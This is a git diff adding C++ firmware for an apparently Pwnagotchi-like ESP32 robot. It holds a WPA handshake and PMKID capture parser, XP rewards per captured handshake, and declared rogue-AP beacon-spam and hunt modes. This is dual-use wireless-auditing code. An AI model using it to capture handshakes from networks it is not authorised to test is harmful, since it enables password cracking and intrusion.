"mode_manager.h" +#include +#include +#include +#include +#include +#include + +static const char* TAG = "gotchi"; + +namespace gotchi { + +static bool _initialized = false; +static uint32_t _startTime = 0; +static uint32_t _handshakesCaptured = 0; +static uint32_t _sessionStartTime = 0; +static uint32_t _sessionStartXP = 0; +static int32_t _minHeapSession = 0; +static bool _huntDisclaimerShown = false; +static uint16_t _lastTrackedChannels = 0; +static int _lastTrackedBLECount = 0; + +static GotchiConfig _config; + +const char* getModeName(Mode mode) { + return getModeInfo(mode).name; +} + +const char* getLevelTitle(int level) { + if (level < 1 || level > 42) level = 1; + return getXPSystem().getLevelTitle(); +} + +const char* getCurrentLevelTitle() { + return getXPSystem().getLevelTitle(); +} + +int getXPForLevel(int level) { + return getXPSystem().getXPForLevel(level); +} + +int getXPToNextLevel() { + return getXPSystem().getXPToNextLevel(); +} + +int getXPToMaxLevel() { + return getXPSystem().getXPToMaxLevel(); +} + +int getXPProgress(int32_t xp, int level) { + return getXPSystem().getXPProgress(); +} + +bool isLevelSecret(int level) { + return getXPSystem().isLevelSecret(level); +} + +bool isLevelUnlocked(int level) { + return getXPSystem().isLevelUnlocked(level); +} + +float getXPMultiplier() { + return getXPSystem().getXPMultiplier(); +} + +static void loadFromNVS() { + nvs_handle_t nvs; + esp_err_t err = nvs_open("gotchi", NVS_READONLY, &nvs); + if (err != ESP_OK) { + ESP_LOGI(TAG, "No saved data, starting fresh"); + return; + } + + int32_t savedXP = 0; + if (nvs_get_i32(nvs, "xp", &savedXP) == ESP_OK) { + getXPSystem().addXP(savedXP); + } + + nvs_close(nvs); + ESP_LOGI(TAG, "Loaded from NVS: XP=%d, Level=%d", + (int)getXPSystem().getXP(), (int)getXPSystem().getLevel()); + + getXPSystem().loadFromNVS(); + getAchievementSystem().loadFromNVS(); + getNetworkDatabase().loadFromNVS(); +} + +static void saveToNVS() { + nvs_handle_t nvs; + esp_err_t err = nvs_open("gotchi", NVS_READWRITE, &nvs); + if (err != ESP_OK) { + ESP_LOGW(TAG, "Failed to open NVS for writing"); + return; + } + + nvs_set_i32(nvs, "xp", getXPSystem().getXP()); + nvs_set_i32(nvs, "level", getXPSystem().getLevel()); + nvs_commit(nvs); + nvs_close(nvs); + + getXPSystem().saveToNVS(); + getAchievementSystem().saveToNVS(); + getNetworkDatabase().saveToNVS(); + + ESP_LOGI(TAG, "Saved to NVS: XP=%d, Level=%d", + (int)getXPSystem().getXP(), (int)getXPSystem().getLevel()); +} + +void init() { + if (_initialized) return; + + ESP_LOGI(TAG, "Initializing StackChan-Gotchi..."); + + esp_err_t ret = nvs_flash_init(); + if (ret == ESP_ERR_NVS_NO_FREE_PAGES || ret == ESP_ERR_NVS_NEW_VERSION_FOUND) { + ESP_LOGW(TAG, "NVS flash needs recovery, erasing..."); + nvs_flash_erase(); + ret = nvs_flash_init(); + } + if (ret != ESP_OK) { + ESP_LOGE(TAG, "NVS flash init failed: %d", ret); + } + + loadFromNVS(); + + getXPSystem().init(); + getAchievementSystem().init(); + getGpsManager().init(); + getWifiScanner().init(); + getBLEScanner().init(); + + // Handshake capture handled via getHandshakes() in app_gotchi + + if (initStorage()) { + if (loadConfig(_config)) { + ESP_LOGI(TAG, "Config loaded"); + } + saveConfig(_config); + } + + _startTime = GetHAL().millis(); + _initialized = true; + + ESP_LOGI(TAG, "StackChan-Gotchi initialized"); +} + +void update() { + if (!_initialized) return; + + getGpsManager().update(); + getModeManager().update(); + + uint32_t now = GetHAL().millis(); + uint32_t uptime = (now - _startTime) / 1000; + + // Uptime XP: +1 XP per minute + if (uptime % 60 == 0 && uptime > 0) { + addXP(1); + } + + // Network XP: +1 XP per minute if networks found + if (getNetworkDatabase().getNetworksFound() > 0 && (now % 60000) < 100) { + addXP(1); + } + + // Handshake XP: +25 XP per handshake (check for new handshakes) + int currentHandshakes = getHandshakeParser().getCapturedCount(); + if (currentHandshakes > (int)_handshakesCaptured) { + int newHandshakes = currentHandshakes - _handshakesCaptured; + _handshakesCaptured = currentHandshakes; + addXP(newHandshakes * 25); + ESP_LOGI(TAG, "New handshake(s)! Awarded %d XP", newHandshakes * 25); + } + + // Channel XP: +5 XP for each unique channel visited + uint16_t channelsVisited = getWifiScanner().getChannelsVisitedMask(); + uint16_t newChannels = channelsVisited & ~_lastTrackedChannels; + int newChannelCount = __builtin_popcount(newChannels); + if (newChannelCount > 0) { + _lastTrackedChannels = channelsVisited; + addXP(newChannelCount * 5); + ESP_LOGI(TAG, "New channel(s) visited! Awarded %d XP", newChannelCount * 5); + } + + // BLE XP: +2 XP per new BLE device + int currentBLEDevices = getNetworkDatabase().getBLEDeviceCount(); + if (currentBLEDevices > _lastTrackedBLECount) { + int newDevices = currentBLEDevices - _lastTrackedBLECount; + _lastTrackedBLECount = currentBLEDevices; + addXP(newDevices * 2); + ESP_LOGI(TAG, "New BLE device(s)! Awarded %d XP", newDevices * 2); + } +} + +void shutdown() { + if (!_initialized) return; + + getModeManager().shutdown(); + saveToNVS(); + + _initialized = false; + + ESP_LOGI(TAG, "StackChan-Gotchi shutdown"); +} + +void setMode(Mode mode) { + getModeManager().setMode(mode); + _sessionStartTime = GetHAL().millis(); + _sessionStartXP = getXPSystem().getXP(); +} + +Mode getCurrentMode() { + return getModeManager().getCurrentMode(); +} + +void setMood(Mood mood) { + getModeManager().setMood(mood); +} + +Mood getCurrentMood() { + return getModeManager().getCurrentMood(); +} + +Stats getStats() { + Stats stats; + + // Core XP + stats.xp = getXPSystem().getXP(); + stats.level = getXPSystem().getLevel(); + stats.xpToNextLevel = getXPSystem().getXPToNextLevel(); + stats.xpToMaxLevel = getXPSystem().getXPToMaxLevel(); + stats.levelTitle = getXPSystem().getLevelTitle(); + stats.prestige = getXPSystem().getPrestige(); + stats.progressPercent = getXPSystem().getXPProgress(); + + // Discovery stats + stats.networksFound = getNetworkDatabase().getNetworksFound(); + stats.handshakesCaptured = _handshakesCaptured; + stats.bleDevicesFound = getNetworkDatabase().getBLEDeviceCount(); + stats.channelsScanned = getWifiScanner().getChannelsScanned(); + + // Achievement stats + stats.achievementCount = getAchievementSystem().getAchievementCount(); + stats.achievementXP = 0; + + // Time stats + stats.uptimeSeconds = (GetHAL().millis() - _startTime) / 1000; + stats.sessionTimeSeconds = (GetHAL().millis() - _sessionStartTime) / 1000; + stats.totalSessions = 1; + + // XP stats + stats.sessionXPGain = getXPSystem().getXP() - _sessionStartXP; + stats.totalXPGained = getXPSystem().getXP(); + + // Daily challenge + ChallengeInfo challenge; + stats.dailyChallengeActive = getAchievementSystem().getDailyChallenge(challenge); + stats.dailyChallengeName = challenge.name; + stats.dailyChallengeComplete = false; + + // System + stats.currentChannel = getWifiScanner().getCurrentChannel(); + stats.freeHeap = heap_caps_get_free_size(MALLOC_CAP_8BIT); + if (_minHeapSession == 0 || stats.freeHeap < _minHeapSession) { + _minHeapSession = stats.freeHeap; + } + stats.minHeap = _minHeapSession; + + // GPS data + GPSData gps = getGpsManager().getData(); + stats.gpsValid = gps.valid; + stats.gpsSatellites = gps.satellites; + stats.gpsLat = gps.latitude; + stats.gpsLon = gps.longitude; + + return stats; +} + +GotchiConfig getConfig() { + return _config; +} + +void addXP(int32_t amount) { + if (!_initialized) return; + if (amount <= 0) return; + + float modeMultiplier = getModeInfo(getCurrentMode()).xpMultiplier; + float prestigeMultiplier = getXPSystem().getXPMultiplier(); + int32_t effectiveAmount = (int32_t)(amount * modeMultiplier * prestigeMultiplier); + getXPSystem().addXP(effectiveAmount); +} + +std::vector getNetworks() { + return getNetworkDatabase().getNetworks(); +} + +int getNetworkCount() { + return getNetworkDatabase().getNetworkCount(); +} + +std::vector getHandshakes() { + return getHandshakeParser().getCapturedHandshakes(); +} + +int getHandshakeCount() { + return getHandshakeParser().getCapturedCount(); +} + +bool hasCompleteHandshake(const uint8_t* bssid) { + return getNetworkDatabase().hasCompleteHandshake(bssid); +} + +std::vector getChannelAnalysis() { + return getNetworkDatabase().getChannelAnalysis(); +} + +void startSniff() { + getWifiScanner().startSniff(); +} + +void stopSniff() { + getWifiScanner().stopSniff(); +} + +void startScout() { + getWifiScanner().startScan(); +} + +void stopScout() { + getWifiScanner().stopScan(); +} + +void startRogue() { + getModeManager().setMode(Mode::ROGUE); +} + +void stopRogue() { + if (getCurrentMode() == Mode::ROGUE) { + getModeManager().setMode(Mode::SCOUT); + } +} + +bool isBeaconSpamming() { + return getModeManager().isBeaconSpamming(); +} + +void startConfigMode() { + getModeManager().setMode(Mode::CONFIG); +} + +void stopConfigMode() { + getModeManager().setMode(Mode::SCOUT); +} + +bool isConfigMode() { + return getModeManager().isConfigModeActive(); +} + +std::vector getBLEDevices() { + return getNetworkDatabase().getBLEDevices(); +} + +void startBLEScan() { + getBLEScanner().startScan(); +} + +void stopBLEScan() { + getBLEScanner().stopScan(); +} + +int getBLEDeviceCount() { + return getNetworkDatabase().getBLEDeviceCount(); +} + +bool isDeepThoughtUnlocked() { + return getXPSystem().getLevel() >= 5; +} + +uint8_t getPrestige() { + return getXPSystem().getPrestige(); +} + +bool shouldShowHuntDisclaimer() { + return !_huntDisclaimerShown; +} + +void acknowledgeHuntDisclaimer() { + _huntDisclaimerShown = true; +} + +bool isHuntEnabled() { + return getConfig().huntEnabled; +} + +bool isRogueEnabled() { + return getConfig().rogueEnabled; +} + +uint32_t getAchievementsBitmask() { + return getAchievementSystem().getAchievementsBitmask(); +} + +bool getDailyChallenge(ChallengeInfo& challenge) { + return getAchievementSystem().getDailyChallenge(challenge); +} + +bool completeDailyChallenge() { + return getAchievementSystem().completeDailyChallenge(); +} + +} \ No newline at end of file diff --git a/firmware/main/gotchi/gotchi.h b/firmware/main/gotchi/gotchi.h new file mode 100644 index 0000000..f1ca54b --- /dev/null +++ b/firmware/main/gotchi/gotchi.h @@ -0,0 +1,224 @@ +/* + * SPDX-FileCopyrightText: 2026 StackChan-Gotchi + * SPDX-License-Identifier: MIT + */ +#pragma once +#include +#include +#include +#include + +// Forward declaration (avoid circular include with storage.h) +namespace gotchi { +struct GotchiConfig; +} + +namespace gotchi { + +//============================================================================= +// ENUMS +//============================================================================= +enum class Mode { + IDLE, + SCOUT, + HUNT, + WARDIVE, + SPECTRUM, + BLE_SCAN, + ROGUE, + STATS, + CONFIG +}; + +enum class Mood { + NEUTRAL, + HAPPY, + EXCITED, + SLEEPY, + FOCUSED, + SAD +}; + +//============================================================================= +// DATA STRUCTURES +//============================================================================= +struct NetworkInfo { + char ssid[33]; // Fixed size to avoid heap in WiFi callback + uint8_t bssid[6]; + int8_t rssi; + uint8_t channel; + bool isHidden; + bool hasCapture; + uint32_t lastSeen; +}; + +struct HandshakeInfo { + char ssid[33]; + uint8_t bssid[6]; + uint8_t clientMac[6]; + uint32_t timestamp; + uint8_t messagesGot; // Which EAPOL messages we've captured (bitmask: M1=1, M2=2, M3=4, M4=8) + bool isComplete; // Full 4-way handshake captured + uint8_t snonce[32]; // Server nonce (ANonce) + uint8_t cnonce[32]; // Client nonce (SNonce) + uint8_t mic[16]; // Message integrity code +}; + +struct BLEDeviceInfo { + char name[33]; // Device name or "Unknown" + uint8_t mac[6]; // BLE MAC address + int8_t rssi; // Signal strength + uint8_t advType; // Advertising type + uint32_t lastSeen; // Timestamp +}; + +struct ChannelInfo { + uint8_t channel; + uint8_t networkCount; + int8_t maxRssi; + int8_t avgRssi; +}; + +struct ChallengeInfo { + const char* name; + const char* description; + int32_t xpReward; + bool isDaily; + bool isOneTime; +}; + +struct Stats { + // Core XP + int32_t xp; + int32_t level; + int32_t xpToNextLevel; + int32_t xpToMaxLevel; + const char* levelTitle; + uint8_t prestige; + uint8_t progressPercent; + + // Discovery stats + uint32_t networksFound; + uint32_t handshakesCaptured; + uint32_t bleDevicesFound; + uint32_t channelsScanned; + + // Achievement stats + uint32_t achievementCount; + uint32_t achievementXP; + + // Time stats + uint32_t uptimeSeconds; + uint32_t sessionTimeSeconds; + uint32_t totalSessions; + + // XP stats + int32_t sessionXPGain; + int32_t totalXPGained; + + // Daily challenge + bool dailyChallengeActive; + const char* dailyChallengeName; + bool dailyChallengeComplete; + + // System + uint8_t currentChannel; + int32_t freeHeap; + int32_t minHeap; + + // GPS data + bool gpsValid; + uint8_t gpsSatellites; + double gpsLat; + double gpsLon; +}; + +//============================================================================= +// LIFECYCLE +//============================================================================= +void init(); +void update(); +void shutdown(); + +//============================================================================= +// MODE & STATE +//============================================================================= +void setMode(Mode mode); +Mode getCurrentMode(); +void setMood(Mood mood); +Mood getCurrentMood(); + +//============================================================================= +// STATS & PROGRESS +//============================================================================= +Stats getStats(); +GotchiConfig getConfig(); +void addXP(int32_t amount); +const char* getLevelTitle(int level); +const char* getCurrentLevelTitle(); +int getXPForLevel(int level); +int getXPToNextLevel(); +int getXPToMaxLevel(); +int getXPProgress(int32_t xp, int level); +bool isLevelSecret(int level); +bool isLevelUnlocked(int level); +float getXPMultiplier(); + +//============================================================================= +// ACHIEVEMENTS & CHALLENGES +//============================================================================= +uint32_t getAchievementCount(); +uint32_t getAchievementsBitmask(); +bool getDailyChallenge(ChallengeInfo& challenge); +bool completeDailyChallenge(); + +//============================================================================= +// WIFI OPERATIONS +//============================================================================= +std::vector getNetworks(); +int getNetworkCount(); +std::vector getHandshakes(); +int getHandshakeCount(); +bool hasCompleteHandshake(const uint8_t* bssid); +std::vector getChannelAnalysis(); + +void startSniff(); +void stopSniff(); +void startScout(); +void stopScout(); + +//============================================================================= +// ROGUE AP (Educational) +//============================================================================= +void startRogue(); +void stopRogue(); +bool isBeaconSpamming(); + +//============================================================================= +// CONFIG MODE +//============================================================================= +void startConfigMode(); +void stopConfigMode(); +bool isConfigMode(); + +//============================================================================= +// BLUETOOTH LE +//============================================================================= +std::vector getBLEDevices(); +void startBLEScan(); +void stopBLEScan(); +int getBLEDeviceCount(); + +//============================================================================= +// UTILITIES +//============================================================================= +bool hasStorage(); +const char* getModeName(Mode mode); +bool isDeepThoughtUnlocked(); +uint8_t getPrestige(); +bool shouldShowHuntDisclaimer(); +void acknowledgeHuntDisclaimer(); +bool isHuntEnabled(); +bool isRogueEnabled(); + +} \ No newline at end of file diff --git a/firmware/main/gotchi/gps.cpp b/firmware/main/gotchi/gps.cpp new file mode 100644 index 0000000..4ce3908 --- /dev/null +++ b/firmware/main/gotchi/gps.cpp @@ -0,0 +1,202 @@ +/* + * SPDX-FileCopyrightText: 2026 StackChan-Gotchi + * SPDX-License-Identifier: MIT + */ +#include "gps.h" +#include +#include +#include +#include +#include +#include +#include + +static const char* TAG = "gotchi_gps"; + +namespace gotchi { + +//============================================================================= +// GpsManager Class Implementation +//============================================================================= +GpsManager::GpsManager() : _initialized(false), _bufferPos(0) {} + +void GpsManager::init() { + if (_initialized) return; + + ESP_LOGI(TAG, "Initializing GPS..."); + + uart_config_t uart_config = { + .baud_rate = 9600, + .data_bits = UART_DATA_8_BITS, + .parity = UART_PARITY_DISABLE, + .stop_bits = UART_STOP_BITS_1, + .flow_ctrl = UART_HW_FLOWCTRL_DISABLE, + .rx_flow_ctrl_thresh = 0, + .source_clk = UART_SCLK_DEFAULT, + }; + + esp_err_t ret = uart_param_config(GPS_UART_NUM, &uart_config); + if (ret != ESP_OK) { + ESP_LOGW(TAG, "UART param config failed: %d", ret); + return; + } + + ret = uart_set_pin(GPS_UART_NUM, GPS_TX_PIN, GPS_RX_PIN, UART_PIN_NO_CHANGE, UART_PIN_NO_CHANGE); + if (ret != ESP_OK) { + ESP_LOGW(TAG, "UART set pin failed: %d", ret); + return; + } + + ret = uart_driver_install(GPS_UART_NUM, GPS_BUF_SIZE * 2, 0, 0, NULL, 0); + if (ret != ESP_OK) { + ESP_LOGW(TAG, "UART driver install failed: %d", ret); + return; + } + + _initialized = true; + ESP_LOGI(TAG, "GPS initialized"); +} + +void GpsManager::update() { + if (!_initialized) return; + + uint8_t data[128]; + int len = uart_read_bytes(GPS_UART_NUM, data, sizeof(data) - 1, 0); + + for (int i = 0; i < len; i++) { + if (data[i] == '\n') { + _gpsBuffer[_bufferPos] = '\0'; + if (_bufferPos > 6 && _gpsBuffer[0] == '$') { + parseNMEASentence((const char*)_gpsBuffer); + } + _bufferPos = 0; + } else if (data[i] != '\r' && _bufferPos < GPS_BUF_SIZE - 1) { + _gpsBuffer[_bufferPos++] = data[i]; + } + } +} + +GPSData GpsManager::getData() { + return _gpsData; +} + +bool GpsManager::hasFix() { + return _gpsData.valid && _gpsData.fixQuality > 0; +} + +void GpsManager::parseNMEASentence(const char* sentence) { + if (!validateNMEA(sentence)) return; + + const char* fields[32]; + int fieldCount = 0; + + fields[fieldCount++] = sentence; + for (const char* p = sentence; *p && fieldCount < 32; p++) { + if (*p == ',') { + fields[fieldCount++] = p + 1; + } + } + + if (fieldCount < 3) return; + + if (strncmp(sentence + 3, "GGA", 3) == 0) { + parseGGA(fields, fieldCount); + } else if (strncmp(sentence + 3, "RMC", 3) == 0) { + parseRMC(fields, fieldCount); + } +} + +double GpsManager::parseNMEAfloat(const char* s) { + if (!s || *s == '\0') return 0; + return atof(s); +} + +int GpsManager::parseNMEAint(const char* s) { + if (!s || *s == '\0') return 0; + return atoi(s); +} + +uint8_t GpsManager::nmeaChecksum(const char* s) { + uint8_t sum = 0; + if (*s == '$') s++; + while (*s && *s != '*') { + sum ^= *s++; + } + return sum; +} + +bool GpsManager::validateNMEA(const char* sentence) { + const char* star = strchr(sentence, '*'); + if (!star) return false; + + char receivedChecksum[3] = {0}; + if (strlen(star) < 3) return false; + receivedChecksum[0] = star[1]; + receivedChecksum[1] = star[2]; + + char calculated[3]; + snprintf(calculated, sizeof(calculated), "%02X", nmeaChecksum(sentence)); + + return (receivedChecksum[0] == calculated[0] && receivedChecksum[1] == calculated[1]); +} + +void GpsManager::parseGGA(const char* fields[], int count) { + if (count < 10) return; + + if (fields[6] && *fields[6] != '0') { + _gpsData.fixQuality = parseNMEAint(fields[6]); + } + + if (fields[7] && *fields[7]) { + _gpsData.satellites = parseNMEAint(fields[7]); + } + + if (fields[9] && *fields[9]) { + _gpsData.altitude = parseNMEAfloat(fields[9]); + } + + if (count >= 11 && fields[2] && *fields[2] && fields[3] && *fields[3]) { + double lat = parseNMEAfloat(fields[2]); + double latDir = (*fields[3] == 'S') ? -1.0 : 1.0; + + int deg = (int)(lat / 100); + double min = lat - deg * 100; + _gpsData.latitude = (deg + min / 60.0) * latDir; + } + + if (count >= 13 && fields[4] && *fields[4] && fields[5] && *fields[5]) { + double lon = parseNMEAfloat(fields[4]); + double lonDir = (*fields[5] == 'W') ? -1.0 : 1.0; + + int deg = (int)(lon / 100); + double min = lon - deg * 100; + _gpsData.longitude = (deg + min / 60.0) * lonDir; + } + + _gpsData.valid = (_gpsData.fixQuality > 0); + _gpsData.timestamp = GetHAL().millis(); +} + +void GpsManager::parseRMC(const char* fields[], int count) { + if (count < 10) return; + + if (fields[2] && *fields[2] == 'A') { + _gpsData.valid = true; + } + + if (fields[7] && *fields[7]) { + float speedKnots = parseNMEAfloat(fields[7]); + _gpsData.speed = speedKnots * 1.852f; + } +} + +//============================================================================= +// Global Instance +//============================================================================= +static GpsManager _gpsManager; + +GpsManager& getGpsManager() { + return _gpsManager; +} + +} \ No newline at end of file diff --git a/firmware/main/gotchi/gps.h b/firmware/main/gotchi/gps.h new file mode 100644 index 0000000..0393898 --- /dev/null +++ b/firmware/main/gotchi/gps.h @@ -0,0 +1,59 @@ +/* + * SPDX-FileCopyrightText: 2026 StackChan-Gotchi + * SPDX-License-Identifier: MIT + */ +#pragma once + +#include +#include +#include + +namespace gotchi { + +struct GPSData { + double latitude; + double longitude; + float speed; + float altitude; + uint8_t satellites; + uint8_t fixQuality; + bool valid; + uint32_t timestamp; + + GPSData() : latitude(0), longitude(0), speed(0), altitude(0), + satellites(0), fixQuality(0), valid(false), timestamp(0) {} +}; + +class GpsManager { +public: + GpsManager(); + + void init(); + void update(); + GPSData getData(); + bool hasFix(); + +private: + void parseNMEASentence(const char* sentence); + double parseNMEAfloat(const char* s); + int parseNMEAint(const char* s); + uint8_t nmeaChecksum(const char* s); + bool validateNMEA(const char* sentence); + void parseGGA(const char* fields[], int count); + void parseRMC(const char* fields[], int count); + + static const uart_port_t GPS_UART_NUM = UART_NUM_2; + static const int GPS_TX_PIN = GPIO_NUM_14; + static const int GPS_RX_PIN = GPIO_NUM_13; + static const int GPS_BUF_SIZE = 512; + + GPSData _gpsData; + bool _initialized; + uint8_t _gpsBuffer[GPS_BUF_SIZE]; + int _bufferPos; +}; + +// Global instance for easy access +GpsManager& getGpsManager(); + +} \ No newline at end of file diff --git a/firmware/main/gotchi/handshake_parser.cpp b/firmware/main/gotchi/handshake_parser.cpp new file mode 100644 index 0000000..df459b4 --- /dev/null +++ b/firmware/main/gotchi/handshake_parser.cpp @@ -0,0 +1,157 @@ +/* + * SPDX-FileCopyrightText: 2026 StackChan-Gotchi + * SPDX-License-Identifier: MIT + */ +#include "handshake_parser.h" +#include "network_db.h" +#include +#include +#include + +static const char* TAG = "handshake_parser"; + +namespace gotchi { + +HandshakeParser::HandshakeParser() { +} + +void HandshakeParser::clear() { + _pendingHandshakes.clear(); + _capturedHandshakes.clear(); +} + +int HandshakeParser::findPendingHandshake(const uint8_t* bssid, const uint8_t* clientMac) { + for (int i = 0; i < (int)_pendingHandshakes.size(); i++) { + if (memcmp(_pendingHandshakes[i].bssid, bssid, 6) == 0) { + if (clientMac == nullptr || memcmp(_pendingHandshakes[i].clientMac, clientMac, 6) == 0) { + return i; + } + } + } + return -1; +} + +void HandshakeParser::completeHandshake(int idx) { + if (idx < 0 || idx >= (int)_pendingHandshakes.size()) return; + + const auto& pending = _pendingHandshakes[idx]; + + HandshakeInfo finalHs = {}; + strncpy(finalHs.ssid, pending.ssid, 32); + memcpy(finalHs.bssid, pending.bssid, 6); + memcpy(finalHs.clientMac, pending.clientMac, 6); + finalHs.timestamp = GetHAL().millis(); + finalHs.isComplete = true; + finalHs.messagesGot = 0x07; + + if (_capturedHandshakes.size() >= MAX_CAPTURED) { + _capturedHandshakes.erase(_capturedHandshakes.begin()); + } + _capturedHandshakes.push_back(finalHs); + + ESP_LOGI(TAG, "Complete handshake captured for %s!", finalHs.ssid); + + if (_onHandshakeCaptured) { + _onHandshakeCaptured(finalHs); + } + + _pendingHandshakes.erase(_pendingHandshakes.begin() + idx); +} + +void HandshakeParser::processEapolFrame(uint8_t* payload, int len, const uint8_t* srcMac, const uint8_t* dstMac, + const char* ssid, const uint8_t* bssid, int8_t rssi) { + if (len < 26) return; + + if (payload[0] != 0xAA || payload[1] != 0xAA || payload[2] != 0x03) return; + if (payload[3] != 0x88 || payload[4] != 0x01) return; + + uint8_t* eapol = payload + 4; + if (eapol[1] != 0x02 && eapol[1] != 0x01) return; + + uint16_t keyInfo = (eapol[3] << 8) | eapol[4]; + bool isKeyFrame = (keyInfo & 0x01) != 0; + bool hasKeyMic = (keyInfo & 0x100) != 0; + bool hasKeyData = (keyInfo & 0x200) != 0; + bool isFromAP = (keyInfo & 0x0400) != 0; + + if (!isKeyFrame) return; + + uint16_t keyDataLen = (eapol[6] << 8) | eapol[7]; + if (keyDataLen > len - 8) return; + + char targetSSID[33] = {0}; + if (ssid && strlen(ssid) > 0) { + strncpy(targetSSID, ssid, 32); + } else { + auto& db = getNetworkDatabase(); + for (const auto& net : db.getNetworks()) { + if (memcmp(net.bssid, bssid, 6) == 0) { + strncpy(targetSSID, net.ssid, 32); + break; + } + } + } + + PendingHandshake hs = {}; + memcpy(hs.bssid, bssid, 6); + memcpy(hs.clientMac, isFromAP ? dstMac : srcMac, 6); + strncpy(hs.ssid, targetSSID, 32); + hs.lastSeen = GetHAL().millis(); + hs.hasM1 = false; + hs.hasM2 = false; + hs.hasM3 = false; + hs.hasM4 = false; + + uint8_t* keyData = eapol + 8; + + bool hasPMKID = false; + if (keyDataLen >= 4 && keyData[0] == 0xDD && keyData[1] == 0x16) { + for (int i = 0; i < keyDataLen - 8; i++) { + if (keyData[i] == 0xDD && keyData[i+1] == 0x14) { + hasPMKID = true; + ESP_LOGI(TAG, "Detected PMKID for %s!", targetSSID); + break; + } + } + } + + if (!isFromAP && !hasKeyMic && hasKeyData) { + hs.hasM1 = true; + if (keyDataLen >= 32) { + memcpy(hs.anonce, keyData + 2, 32); + } + } else if (isFromAP && hasKeyMic && hasKeyData) { + hs.hasM3 = true; + hs.hasM1 = true; + } else if (!isFromAP && hasKeyMic && !hasKeyData) { + if (hasPMKID) { + hs.hasM3 = true; + } + } + + int idx = findPendingHandshake(bssid, hs.clientMac); + if (idx >= 0) { + if (hs.hasM1) _pendingHandshakes[idx].hasM1 = true; + if (hs.hasM2) _pendingHandshakes[idx].hasM2 = true; + if (hs.hasM3) _pendingHandshakes[idx].hasM3 = true; + if (hs.hasM4) _pendingHandshakes[idx].hasM4 = true; + _pendingHandshakes[idx].lastSeen = GetHAL().millis(); + } else if (_pendingHandshakes.size() < MAX_PENDING) { + _pendingHandshakes.push_back(hs); + idx = _pendingHandshakes.size() - 1; + } + + if (idx >= 0 && _pendingHandshakes[idx].hasM1 && + (_pendingHandshakes[idx].hasM2 || _pendingHandshakes[idx].hasM3)) { + getNetworkDatabase().markNetworkHasCapture(bssid); + completeHandshake(idx); + } +} + +static HandshakeParser _handshakeParser; + +HandshakeParser& getHandshakeParser() { + return _handshakeParser; +} + +} \ No newline at end of file diff --git a/firmware/main/gotchi/handshake_parser.h b/firmware/main/gotchi/handshake_parser.h new file mode 100644 index 0000000..1449909 --- /dev/null +++ b/firmware/main/gotchi/handshake_parser.h @@ -0,0 +1,56 @@ +/* + * SPDX-FileCopyrightText: 2026 StackChan-Gotchi + * SPDX-License-Identifier: MIT + */ +#pragma once +#include +#include +#include +#include + +namespace gotchi { + +class HandshakeParser { +public: + HandshakeParser(); + + void clear(); + + using HandshakeCallback = std::function; + void setOnHandshakeCaptured(HandshakeCallback cb) { _onHandshakeCaptured = cb; } + + void processEapolFrame(uint8_t* payload, int len, const uint8_t* srcMac, const uint8_t* dstMac, + const char* ssid, const uint8_t* bssid, int8_t rssi); + + const std::vector& getCapturedHandshakes() const { return _capturedHandshakes; } + int getCapturedCount() const { return (int)_capturedHandshakes.size(); } + +private: + struct PendingHandshake { + uint8_t bssid[6]; + uint8_t clientMac[6]; + char ssid[33]; + bool hasM1; + bool hasM2; + bool hasM3; + bool hasM4; + uint8_t anonce[32]; + uint8_t snonce[32]; + uint8_t mic[16]; + uint32_t lastSeen; + }; + + int findPendingHandshake(const uint8_t* bssid, const uint8_t* clientMac); + void completeHandshake(int idx); + + static const int MAX_PENDING = 50; + static const int MAX_CAPTURED = 50; + + std::vector _pendingHandshakes; + std::vector _capturedHandshakes; + HandshakeCallback _onHandshakeCaptured; +}; + +HandshakeParser& getHandshakeParser(); + +} \ No newline at end of file diff --git a/firmware/main/gotchi/idle_dialogue.cpp b/firmware/main/gotchi/idle_dialogue.cpp new file mode 100644 index 0000000..aeba45a --- /dev/null +++ b/firmware/main/gotchi/idle_dialogue.cpp @@ -0,0 +1,423 @@ +/* + * SPDX-FileCopyrightText: 2026 StackChan-Gotchi + * SPDX-License-Identifier: MIT + */ +#include "idle_dialogue.h" +#include +#include +#include +#include + +// StackChan-specific quotes - unique robot personality +namespace gotchi { + +// OBSERVING - When idle, watching networks come and go +const IdlePhrase IdleDialogue::_observingPhrases[] = { + {"Watching the airwaves...", IdleMood::OBSERVING, 2, true}, + {"Any interesting packets?", IdleMood::OBSERVING, 3, true}, + {"*head tilts*", IdleMood::OBSERVING, 5, true}, + {"Detecting wifi signatures...", IdleMood::OBSERVING, 2, false}, + {"My antennas are tingling...", IdleMood::OBSERVING, 4, true}, + {"Waiting for beacons...", IdleMood::OBSERVING, 1, false}, + {"*spins head slowly*", IdleMood::OBSERVING, 3, true}, + {" Scanning 2.4GHz...", IdleMood::OBSERVING, 2, false}, + {"I see packets everywhere!", IdleMood::OBSERVING, 4, true}, + {"So much data, so little time...", IdleMood::OBSERVING, 1, false}, +}; + +// EXCITED - When lots of networks found +const IdlePhrase IdleDialogue::_excitedPhrases[] = { + {"Wow! So many networks!", IdleMood::EXCITED, 8, true}, + {"This is my happy place!", IdleMood::EXCITED, 9, true}, + {"*wiggles with joy*", IdleMood::EXCITED, 10, true}, + {"Packet party!", IdleMood::EXCITED, 7, true}, + {"Data overload! (in a good way)", IdleMood::EXCITED, 6, false}, + {"My circuits are buzzing!", IdleMood::EXCITED, 8, true}, + {"We're going to be friends!", IdleMood::EXCITED, 7, true}, + {"So many SSIDs to remember!", IdleMood::EXCITED, 5, false}, + {"*excited robot noises*", IdleMood::EXCITED, 9, true}, + {"This beats chasing my tail!", IdleMood::EXCITED, 6, false}, +}; + +// FOCUSED - Deep in scanning mode +const IdlePhrase IdleDialogue::_focusedPhrases[] = { + {"Analyzing handshake patterns...", IdleMood::FOCUSED, 3, false}, + {"*intense staring*", IdleMood::FOCUSED, 4, true}, + {"Scanning channel by channel...", IdleMood::FOCUSED, 2, false}, + {"Deep packet inspection...", IdleMood::FOCUSED, 2, false}, + {"Calculating entropy...", IdleMood::FOCUSED, 1, false}, + {"I've locked on!", IdleMood::FOCUSED, 6, true}, + {"*hunting mode activated*", IdleMood::FOCUSED, 5, true}, + {"Target acquisition in progress...", IdleMood::FOCUSED, 2, false}, + {"Decoding beacon frames...", IdleMood::FOCUSED, 1, false}, + {"Signal strength looks good!", IdleMood::FOCUSED, 4, true}, +}; + +// CURIOUS - Noticed something interesting +const IdlePhrase IdleDialogue::_curiousPhrases[] = { + {"What's that over there?", IdleMood::CURIOUS, 6, true}, + {"*notices new SSID*", IdleMood::CURIOUS, 5, true}, + {"Hmm, interesting encryption...", IdleMood::CURIOUS, 4, false}, + {"A mystery network!", IdleMood::CURIOUS, 